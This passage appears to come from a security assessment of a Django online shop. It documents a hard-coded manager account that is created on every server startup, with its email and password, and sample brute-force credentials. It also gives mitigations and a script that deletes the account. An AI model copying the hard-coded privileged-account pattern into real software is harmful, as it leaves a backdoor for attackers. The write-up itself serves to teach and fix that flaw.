    to execute once on startup:
    this function will call in online_shop/urls.py
    """
    if not User.objects.filter(email="manager@example.com").first():
        user = User.objects.create_user(
            "manager@example.com", 'shop manager' ,'managerpass1234'
        )
        # give this user manager role
        user.is_manager = True
        user.save()
```

- wsgi.py

```
import os
from django.core.wsgi import get_wsgi_application
from accounts.views import create_manager
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'online_shop.settings')
# create user with 'manager' role
create_manager()
application = get_wsgi_application()
```

Exploitation

An attacker could try using a brute-force attack with common testing credentials, such as:

```
email: test@test.com
password: test

email: manager@example.com
password: managerpass1234
...
```

And potentially get access to a testing account with manager privileges.

Mitigations

To avoid such cases, developers should develop a script that erases all the created hard-coded credentials from a list of hard coded credentials decided prior to development.

Another strategy would be to use separate databases for *production* and *development*.

Pairing these two practices, will reduce the probability of leaving *hard-coded credentials* as a vulnerability.

In our case, all it took was deleting the create_manager function that creates the manager upon every server startup and deleting the manager user from the database using the manage.py shell.

- EraseManager.py - python script that erases the hard-coded manager;

```
from accounts.models import User
user = User.objects.all().filter(email="manager@example.com")
if user:
    user[0].delete()
```

- Command Line Execution;

```
$ cat EraseManager.py | python3 manage.py shell
# verifying deletion
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> from accounts.models import User
>>> User.objects.all()
<QuerySet [<User: pessoa@pessoa.pt>]>
```

References:

- CVSS Scoring System
- CWE-23
- CWE-200
- CWE-521
- CWE-89
- CWE-79
- CWE-352
- CWE-285
- CWE-434
- CWE-798
- CWE-307